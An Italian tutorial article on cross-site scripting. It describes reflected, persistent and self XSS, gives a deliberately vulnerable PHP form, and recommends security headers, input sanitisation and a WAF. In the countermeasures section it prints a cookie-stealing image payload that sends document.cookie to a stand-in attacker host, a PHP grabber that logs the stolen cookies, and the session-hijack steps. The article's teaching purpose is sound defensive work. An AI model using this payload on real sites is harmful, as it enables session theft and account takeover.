Il Cross-Site Scripting, anche chiamato XSS è  una vulnerabilità presente nei siti web che non applicano sufficienti controlli sui form di inserimento dati. Un XSS permette di inserire o eseguire codice lato client, al fine di attuare un insieme di attacchi quali ad esempio la raccolta e la manipolazione con reindirizzamento di informazioni riservate, visualizzazione e modifica di dati presenti sui server e alterazione del comportamento dinamico delle pagine web. 

L'effetto del cross-site scripting può variare dall'essere un piccolo fastidio ad un significativo rischio per la sicurezza, a seconda della sensibilità dei dati trattati nel sito vulnerabile e dalla natura delle strategie di sicurezza implementate dai webmaster del sito. Sfruttando una vulnerabilità di questo tipo un utente malintenzionato potrebbe rubare i cookies all'amministratore di un sito web o fare eseguire qualsiasi codice javascript nel browser della vittima, semplicemente inviandogli un link che conduce alla vulnerabilità. La diffusione di questa vulnerabilità è dovuta dal fatto che è molto facile da sfruttare ed è presente nella maggior parte dei siti web.Esistono tre principali tipi di xss:
 
  • Reflected 
Questo tipo di Xss è il più comune e si verifica quando gli input dei form HTML non vengono
sanitizzati o il vettore usato dall'utente malintenzionato non viene codificato dal server. Ad esempio
se ne possono trovare nei form di ricerca utilizzati dai siti web. 

reflected xss
 
  • Persistent 
Un xss si dice "Persistent", ovvero permanente, quando è salvato su una pagina del sito web che è visibile ad ogni utente. Il codice inserito dall'utente malintenzionato, viene quindi registrato sul server ed eseguito ogni volta che viene visitata la pagina in cui il codice viene salvato. Ad esempio, se un sito web permette di inserire commenti e la textarea (dove viene inserito il commento) non filtra o rimuove il codice html inserito come commento da un utente malintenzionato, è possibile che l'xss venga salvata nella pagina dei commenti, ed ogni utente che la visiterà  sarà esposto all'xss. 

xss stored apple
 
  • Self 
Un Xss si dice "Self" quando è visibile solo dall'utente che la inserisce nell'input, oppure che si trova in un area interna del sito Web. Vulnerabilità di questo tipo non possono essere sfruttate se non vengono combinate con altre, come un Cross Site Request Forgery, ad esempio se l'xss si trova in un form che contiene le impostazioni di un account utente.
 
img self xss
 
 
Esempio di codice vulnerabile
La presenza della vulnerabilità in un sito Web dipende anche dalla conoscienza in questo campo da parte del WebMaster, che spesso conosce soltanto la programmazione, creando delle vulnerabilità nel suo codice. Un esempio di codice vulnerabile ad Xss può essere il seguente:
 
<form method="get" action="#">
<input type="text" name="nome" id="nome" placeholder="Vulnerabile" style="border: 1px solid red; width: 200px; height: 30px;">
<input type="submit" value="vulnerable" style="border: 1px solid red; height: 30px;">
</form>
<?
if (isset($_GET['nome'])) {
$n = strtolower($_GET['nome']);
$name['giorgio'] = "Bianchi";
$name['vittorio'] = "Rossi";
$name['augusto'] = "Verdi";
if (isset($name[$n])) {
echo("Il cognome di $n è $name[$n]");
} else {
echo("Non conosco il cognome di $n");
}
echo("
tempo corrente in secondi: ".time()."");
}
?>
 
Non essendoci alcun filtro sull'input name, la funzione echo("Il cognome di $n è $name[$n]"); viene stampata così come viene inserita nell'input del form html, generando una vulnerabilità di tipo Xss.
 
Contromisure 
Per contrastare lo sfruttamento di questa vulnerabilità sono stati sviluppati due moduli per Apache che bloccano l'esecuzione di script, i quali vengono iniettati tramite xss. I moduli in questione sono :
 
  •     X-Frame-Options 
Questo modulo serve a bloccare l'utilizzo del codice html <iframe src="/"> ed impedisce ad altri utenti di inserirlo di un altro sito Web, all'interno del loro sito. Può essere settato con due diverse opzioni: sameorigin e deny. 
 
Settando X-Frame-Options : SAMEORIGIN sarà possibile effettuare iframe solo dei siti che condividono la stessa origine. Di conseguenza, se qualcuno prova ad inserire nel suo sito un iframe di un sito che ha x-frame-options settato su sameorigin, non riuscirà ad inserirlo a meno che il sito in cui si prova ad inserire l'iframe sia lo stesso o un sottodominio del sito in cui viene inserito  l'iframe stesso.
 
Settando X-Frame-Options : DENY non sarà più possibile inserire alcun tipo di iframe nel sito Web, Bloccando anche le Xss basate sul codice html <iframe src="/">. Questa opzione tra le due è la più sicura. 
  •     X-XSS-Protection
Settando come header X-XSS-Protection : 1; mode=block verrà bloccata l'esecuzione del codice <script> che è uno tra i più dannosi vettori di Xss.  
Per settare questi headers di sicurezza basterà modificare il codice del file ".htaccess" inserendo:

  • X-Frame-Options 
<IfModule mod_headers.c>
  Header always append X-Frame-Options SAMEORIGIN
</IfModule>

  • X-XSS-Protection 
<IfModule mod_headers.c>
  Header set X-XSS-Protection "1; mode=block"
</IfModule> 
 
xss security headers
 
Questo però non basta a difendersi efficacemente dal Cross Site Scripting, che in base alla creatività dell'utente malintenzionato può essere sfruttato usando altri vettori di Xss. Per rubare i Cookies e salvarli su un server esterno serve, oltre alla vulnerabilità Xss, un codice php che li salva sul server. Un esempio può essere: 
 
<img src=x on-error=this.src='http://attacker-website.org/grabber.php?c='+document.cookie> 
Mentre il codice del file grabber.php potrebbe essere il seguente: 
 
<?php
$c = $_GET[c];
$f = fopen('log.htm','a');
fwrite($f,"$c<br><br>");
fclose($f);
?>
  
Questo crea una pagina html, contenente i cookies sul server dell'utente malintenzionato. Per sfruttare questo tipo di vulnerabilità basta semplicemente trovare un form vulnerabile ad xss ed inviare il link o la pagina contenente l'xss alla vittima e una volta aperto invierà (a sua insaputa) i suoi cookies al server dell'utente malintenzionato. Una volta che un utente malintenzionato è riuscito ad ottenere i cookies della vittima potrà sostituirli con i suoi, autenticandosi nell'account della vittima senza conoscerne i valori di username e password. 
 
Il vettore di xss usato in questo esempio non viene fermato dai moduli di Apache poichè bloccano solo <script> ed <iframe>
 
Come Difendersi:
 
L'unico modo per difendersi definitivamente dal Cross Site Scripting è controllare ogni form manualmente ed inserire un filtro adeguato che sanitizzi gli input e rimuova i codici html, i quali vengono inviati nei form html. Un altro modo per prevenire lo sfruttamento di queste vulnerabilità è quello di installare un web application firewall, detto anche WAF, come "ModSecurity"
che blocca le richieste considerate "nocive" con un errore di accesso negato.
 

Altri articoli dello stesso autore